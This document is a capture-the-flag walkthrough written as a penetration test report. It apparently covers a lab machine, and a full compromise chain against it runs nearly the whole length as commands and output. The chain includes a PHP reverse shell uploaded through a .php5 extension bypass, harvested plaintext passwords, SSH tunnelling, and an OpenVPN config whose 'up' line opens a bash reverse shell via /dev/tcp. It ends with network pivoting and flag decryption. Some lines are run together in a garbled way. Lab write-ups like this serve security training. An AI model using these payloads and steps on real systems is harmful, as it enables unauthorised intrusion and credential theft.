This comprehensive penetration test against target 10.129.26.16 revealed a critical vulnerability chain leading to complete network compromise. The attack path progressed from web application exploitation through internal network pivoting to ultimate domain dominance.
# Set target variable
export target=10.129.26.16
# Comprehensive port scan - TCP connect scan
sudo nmap -p- --min-rate 1000 -sT -vvv $target
# Results:
# Discovered open ports: 22/tcp, 80/tcp
# Detailed service scan on discovered ports
sudo nmap -sC -sV -p 22,80 -T4 $target
# Results:
# Port 22: OpenSSH 7.6p1 Ubuntu
# Port 80: Apache httpd 2.4.29
http://10.129.26.16/http://10.129.26.16/sparklays/ - Directory exists!# First-level directory scanning
gobuster dir -u http://10.129.26.16/sparklays \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html -t 50 2>/dev/null
# Discovered: /design/ directory
# Second-level directory scanning
gobuster dir -u http://10.129.26.16/sparklays/design \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html -t 50 2>/dev/null
http://10.129.26.16/sparklays/design/uploads/ - File upload directoryhttp://10.129.26.16/sparklays/design/design.html - Design management interfacehttp://10.129.26.16/sparklays/design/changelogo.php - Logo upload functionalityhttp://10.129.26.16/sparklays/design/design.htmlchangelogo.php.php, .php3, .phtml, .php4, .php5.php5 extension bypassed filters# Created PHP reverse shell (modified from pentestmonkey)
# Saved as revshell.php5 with attacker IP: 10.10.14.90, port: 9001
# Start netcat listener
nc -nlvp 9001
# Upload shell through web interface
# Success message received: "File uploaded successfully"
# Trigger shell execution
curl http://10.129.26.16/sparklays/design/uploads/revshell.php5
Result: Reverse shell connection established as www-data user
# Basic system reconnaissance
whoami
# www-data
hostname
# ubuntu
pwd
# /var/www/html/sparklays/design/uploads
# Explore user directories
ls -la /home/
# Found user: dave
cd /home/dave/Desktop
ls -la
# Found three important files:
cat Servers
# DNS + Configurator - 192.168.122.4
# Firewall - 192.168.122.5
# The Vault - x
cat key
# itscominghome
cat ssh
# dave
# Dav3therav3123
# Scan internal DNS server from compromised host
for i in $(seq 1 1000); do
(nc -nzv 192.168.122.4 ${i} 2>&1 | grep -v "Connection refused" &);
done
# Results: Ports 22 and 80 open on 192.168.122.4
# From attacker machine, establish SSH tunnel
ssh -L 80:192.168.122.4:80 dave@10.129.26.16
# Password: Dav3therav3123
http://127.0.0.1:80 in browserhttp://127.0.0.1/vpnconfig.phpup directive# Malicious OpenVPN configuration
remote 192.168.122.1
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
nobind
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/1337 0<&1 2>&1&'"
# Start listener for DNS server shell
nc -nlvp 1337
# Upload malicious .ovpn file through web interface
# Shell connection established as root on DNS server!
whoami
# root
hostname
# DNS
# Locate user flag
find / -name user.txt 2>/dev/null
cat /home/dave/user.txt
# a4947faa8d4e1f80771d34234bd88c73
# Discover additional credentials
cat /home/dave/ssh
# dave
# dav3gerous567
# Check network configuration
route -n
# Found route to 192.168.5.0/24 via 192.168.122.5
cat /etc/hosts
# Found entry: vault 192.168.5.2
# Test connectivity
ping vault
# Packet loss - routing issue identified
# Add correct IP address to interface
ip address add 192.168.5.137/24 dev ens3
# Remove incorrect route
route del -net 192.168.5.0 netmask 255.255.255.0 gw 192.168.122.5
# Verify connectivity
ping -c 2 192.168.5.2
# Success!
# Port scan The Vault
for i in $(seq 1 1000); do
(nc -nzv 192.168.5.2 ${i} 2>&1 | grep -v "Connection refused" &);
done
# Results: Port 987 open (non-standard SSH)
# Connect using discovered credentials
ssh dave@vault -p 987
# Password: dav3gerous567
# Successfully logged into The Vault system
# Search for root flag
find / -name root* 2>/dev/null
# Found: /root/root.txt.gpg (encrypted)
# As dave user, cannot directly read /root/ files
# Need to transfer encrypted file for decryption
# From DNS server, transfer the file
scp -P 987 dave@192.168.5.2:~/root.txt.gpg /dev/shm/
# On DNS server, encode the file
cd /dev/shm
base64 -w0 root.txt.gpg
# [Long base64 string output]
# On initial compromised host (dave@ubuntu)
echo "hQIMA8d4xhDR6x8DARAAoJjq0xo2bn5JfY3Q6EMVZjkwUK7JPcwUEr1RNUx98k41oOFdtugxUjwHSZ9x9BU9sph696HhlKlPO0au7DeFyxqPFbjR2CdwoT9PBf8vuSEzEqVltvAq31jQbXpUSA2AxYSj3fWKCAkIPcUBTTcJAnac0EMmXlAQzdAmvFEU+9BRkcpJDSpYV8W2IQf+fsnh14hcc5tXZQZX0mPtLlwYVlJq4xgpV3znnJrrlUgKJqkqhq1i2/JEAL5Ul1k5as9Ha1N8KffjmfEsrRQl8TS5NLoC3mVp3w90X0LYhyDcRz7HPzXfdPMdM+G9NEX1zY4c6cr1sxOdLcpUwbZ4itd7XjCA71B23Ncd7eniLGCkErDaVkZh8oa4DyIG78bxqFTDgk6XrH6pz9XRXhDBSZnCezI90WkbxGecOB42cAOwGkuHcnSF44eXDT60Yl9h6bvRZVEQF3/39ee+nMaW5b5PnWzGb/PC4kT3ZDeWYSiloF6a5sOwDO2CL/qipnAFPj8UthhrCCcQj4rRH2zeeh4y9fh3m3G37Q+U9lNgpjzj0nzVCfjdrMRvUs5itxwpjwaxN6q2q1kxe1DhPCzaAHhLT7We7p2hxdSj1yPgefSzJ39GENgJI1fbTDEaMzwkPra4I2MiJCEVgZnV29oRHPYrmGsfx4tSkBy6tJW342/s88fSZAFwRHa6C9Hrr7GSVucoJ5z2kNKAPnS/cUmBc3OdeJlMxdfzQTMucmv89wwgNgKNLO6wmSFppVRnpmLE+AFoCEqg/JS91N5mVhZPkHwW6V94CxMF/3xqTMKpzBfdERq0MGYij98=" | base64 -d > root.txt.gpg
# Attempt decryption with various passphrases
gpg -d root.txt.gpg
# When prompted for passphrase, tried:
# - dav3gerous567 (failed)
# - Dav3therav3123 (failed)
# - itscominghome (SUCCESS!)
cat root.txt
# ca468370b91d1f5906e31093d9bfe819
/sparklays/design/changelogo.php.ovpn file uploadsTesting Methodology: OSSTMM compliant
Risk Rating: Critical